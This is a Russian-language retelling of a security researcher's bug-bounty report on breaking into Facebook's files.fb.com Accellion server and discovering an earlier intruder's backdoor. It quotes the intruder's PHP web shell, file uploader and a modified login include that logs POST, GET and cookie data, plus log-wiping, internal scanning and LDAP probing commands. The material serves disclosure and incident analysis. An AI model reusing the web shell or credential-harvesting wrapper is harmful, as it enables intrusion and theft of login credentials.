Как я взломал Facebook и обнаружил чужой бэкдор

Исследователь по безопасности Orange Tsai взломал один из серверов Facebook и обнаружил бэкдор для сбора учетных записей сотрудников компании, оставленный злоумышленником.

Как пишет исследователь в своем блоге, его всегда больше привлекали сервер-сайд атаки, нежели клиент-сайд (XSS и т.д).

В 2012 году Facebook запустил BugBounty программу, которая побудила исследователя принять участие в поиске уязвимостей на серверах этой популярной социальной сети.

В первую очередь проводится этап разведки и сбора информации, или т.н. recon по объекту атаки.

Исследователь поставил себе несколько целей:

• Что можно обнаружить с помощью запросов Google Hacking?;
• Сколько используется подсетей класса B и C?;
• Whois, reverse-ip и axfr запросы;
• Используемые доменные имена, поддомены;
• Программное и техническое оснащение оборудования (вендоры, версии ПО и т.д.);
• Возможные утечки исходных кодов на сервисах Github или Pastebin
• И т.д.

BugBounty программа обычно имеет четкие границы и ограничения, но тем не менее, исследователь решил поискать на сетевом периметре уязвимые сервисы, возможно и не входящие в скоуп BugBounty, но тем не менее напрямую влияющие на безопасность инфраструктуры самой популярной в мире социальной сети.

Используя технику reverse whois им был обнаружен интересный домен — tfbnw.net. По данному названию он предположил что имеет дело с TheFacebook Network.

На этом домене располагался поддомен vpn.tfbnw.net, на котором находился веб-интерфейс Juniper SSL VPN. К сожалению исследователя эта версия не содержала публичных уязвимостей. Тем не менее, исследовав эту подсеть C-класса он обнаружил несколько интересных сервисов:

• Mail Server Outlook Web App;
• F5 BIGIP SSL VPN;
• CISCO ASA SSL VPN;
• Oracle E-Business;
• MobileIron MDM;

Также, среди этих IP-адресов был обнаружен сервер files.fb.com. Судя по футеру веб-приложения использовался Accellion’s Secure File Transfer (также известный под аббревиатурой FTA):

FTA является продуктом, который обеспечивает безопасную передачу файлов, общий доступ к файлам и синхронизации, а также интеграцию с механизмами входа в систему, включая AD, LDAP и Kerberos. Версия Enterprise поддерживает службы SSL VPN.

Исследователь попытался найти актуальный публичный эксплоит для этой уязвимости и обнаружил упоминание об уязвимой версии 0.18 (Accellion File Transfer Appliance Vulnerabilities (CVE-2015-2856, CVE-2015-2857 ^[1]).

Версию можно определить запросом “/tws/getStatus”. На сайте была установлена последняя версия — 0.20, не содержащая вышеописанных уязвимостей.

Если не получилось найти уязвимости методом черного ящика — их можно попытаться найти белым. Исследователь скачал исходные коды FTA и приступил к поиску уязвимостей в этом продукте.

Исследовав приложение, было сделано несколько выводов:

• Веб-интерфейс представляет из себя комбинацию Perl и PHP;
• PHP был обфусцирован с помощью IonCube;
• Использовалось множество Perl-демонов.

В первую очередь исследователь попытался снять защиту IonCube, но используя публичные инструменты ему этого не удалось. Также, он предположил что Rapid7 обнаружили поверхностные уязвимости и копать надо гораздо глубже.

Результатом исследований FTA стало нахождение:

• 3 уязвимости класса XSS;
• Pre-Auth SQL-инъекция приводящая к удаленному выполнению кода (Remote Code Execution);
• Предиктивный secret-key, приводящий к удаленному выполнению кода (Remote Code Execution);
• 2 уязвимости, приводящие к локальному повышение привилегий (Local Privilege Escalation).

Помимо отправки сообщения об уязвмостях в Facebook Security Team, были отправлены соответствующие уведомления и вендору уязвимого ПО — компании Accellion. Уязвимостям присвоены следующие CVE:

• CVE-2016-2350
• CVE-2016-2351
• CVE-2016-2352
• CVE-2016-2353

(Больше деталей будет раскрыто после применения политики раскрытия/неразглашения уязвимостей).

Т.н. «залитие шелла» с помощью sql-injection:

После получения доступа к серверу исследователь выполнил вполне предсказуемые шаги по изучению серверного окружения для минимизации обнаружения. Им были обнаружены:

• Блокировка исходящих TCP и UDP соединений на порты 53, 80 и 443;
• Удаленный сервер Syslog;
• Включенный журнал auditd.

Несмотря на запрещающие правила фаервола для исходящих соединений исследователю удалось установить соединение с помощью ICMP-туннеля.

После того, как исследователю удалось установить приемлемый контроль над веб-сервером он обнаружил некоторые странные сообщения об ошибках в логах /var/opt/apache/php_error_log:

Исследовав сообщения об ошибках и перейдя в затронутые директории он обнаружил веб-шелл, оставленный предыдущим «посетителем».

Содержимое некоторых «интересных» файлов:
sshpass

Right, THAT sshpass

bN3d10Aw.php

<?php echo shell_exec($_GET['c']); ?>

uploader.php

<?php move_uploaded_file($_FILES["f]["tmp_name"], basename($_FILES["f"]["name"])); ?>

d.php

<?php include_oncce("/home/seos/courier/remote.inc"); echo decrypt($_GET["c"]); ?>

sclient_user_class_standard.inc

<?php
include_once('sclient_user_class_standard.inc.orig');
$fp = fopen("/home/seos/courier/B3dKe9sQaa0L.log", "a"); 
$retries = 0;
$max_retries = 100; 

// blah blah blah...

fwrite($fp, date("Y-m-d H:i:s T") . ";" . $_SERVER["REMOTE_ADDR"] . ";" . $_SERVER["HTTP_USER_AGENT"] . ";POST=" . http_build_query($_POST) . ";GET=" . http_build_query($_GET) . ";COOKIE=" . http_build_query($_COOKIE) . "n"); 

// blah blah blah...

В include_once последнего файла содержится вызов «штатного» файла sclient_user_class_standard.inc.orig для проверки пароля. Злоумышленник использовал модифицированный файл в качестве своеобразного прокси для сбора GET и POST запросов, значения COOKIES в plain-text.

Неизвестный злоумышленник формировал лог-файл, который без труда можно было получить со взломанного веб-сервера:

wget https://files.fb.com/courier/B3dKe9sQaa0L.log

Пример перехваченной учетной записи:

C 1 по 7 февраля было перехвачено порядка 300 учетных записей пользователей "@fb.com" и "@facebook.com":

• Обычные пользователи — учетные записи хранятся в БД и шифруются «солёным» SHA256.
• Сотрудники Facebook (@fb.com) авторизуются по протоколу LDAP.

Данные, полученные злоумышленником могли привести к компрометации смежных сервисов (VPN, OWA и т.д.).

Исследователь отмечает, что действия злоумышленника были довольно небрежными, что говорит о его непрофессионализме.

Каждые несколько дней злоумышленник чистил логи:

192.168.54.13 - - 17955 [Sat, 23 Jan 2016 19:04:10 +0000 | 1453575850] "GET /courier/custom_template/1000/bN3dl0Aw.php?c=./sshpass -p '12069238df' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'cp /home/seos/courier/B3dKe9sQaa0L.log /home/seos/courier/B3dKe9sQaa0L.log.2; echo > /home/seos/courier/B3dKe9sQaa0L.log' 2>/dev/stdout HTTP/1.1" 200 2559 ...

Архивировал файлы:

cat tmp_list3_2 | while read line; do cp /home/filex2/1000/$line files; done 2>/dev/stdout
tar -czvf files.tar.gz files

Исследовал внутреннюю сеть:

dig a archibus.thefacebook.com
telnet archibus.facebook.com 80
curl http://archibus.thefacebook.com/spaceview_facebook/locator/room.php
dig a records.fb.com
telnet records.fb.com 80
telnet records.fb.com 443
wget -O- -q http://192.168.41.16
dig a acme.facebook.com
./sshpass -p '********' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'for i in $(seq 201 1 255); do for j in $(seq 0 1 255); do echo "192.168.$i.$j:`dig +short ptr $j.$i.168.192.in-addr.arpa`"; done; done' 2>/dev/stdout
...

Использовал ShellScript для сканирования внутренней сети, но забыл перенаправить STDERR:

Пытался соединиться с LDAP-сервером:

sh: -c: line 0: syntax error near unexpected token `('
sh: -c: line 0: `ldapsearch -v -x -H ldaps://ldap.thefacebook.com -b CN=svc-accellion,OU=Service Accounts,DC=thefacebook,DC=com -w '********' -s base (objectclass=*) 2>/dev/stdout'

Пытался получить прямой доступ к OWA:

--20:38:09--  https://mail.thefacebook.com/
Resolving mail.thefacebook.com... 192.168.52.37
Connecting to mail.thefacebook.com|192.168.52.37|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://mail.thefacebook.com/owa/ [following]
--20:38:10--  https://mail.thefacebook.com/owa/
Reusing existing connection to mail.thefacebook.com:443.
HTTP request sent, awaiting response... 302 Moved Temporarily
Location: https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&reason=0 [following]
--20:38:10--  https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&reason=0
Reusing existing connection to mail.thefacebook.com:443.
HTTP request sent, awaiting response... 200 OK
Length: 8902 (8.7K) [text/html]
Saving to: `STDOUT'

     0K ........                                              100% 1.17G=0s

20:38:10 (1.17 GB/s) - `-' saved [8902/8902]

--20:38:33--  (try:15)  https://10.8.151.47/
Connecting to 10.8.151.47:443... --20:38:51--  https://svn.thefacebook.com/
Resolving svn.thefacebook.com... failed: Name or service not known.
--20:39:03--  https://sb-dev.thefacebook.com/
Resolving sb-dev.thefacebook.com... failed: Name or service not known.
failed: Connection timed out.
Retrying.

Пытался украсть корневой ssl-сертификат:

sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
ls: /etc/opt/apache/ssl.key/server.key: No such file or directory
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
base64: invalid input

После проверки в браузере видно, что files.fb.com подписан сертификатом fb.com:

Исследователь сообщил о выявленной уязвимости и активности злоумышленника на сервере техническим специалистам компании Facebook. Анализ логов показал что было два вторжения в систему — в июле и сентябре. Был ли это один и тот же злоумышленник — неизвестно. Июльский инцидент произошел как раз в момент появления эксплоита к вышеуказанной CVE-2015-2857 от Rapid7 в составе Metasploit Framework.

Автор: DefconRU

Источник ^[2]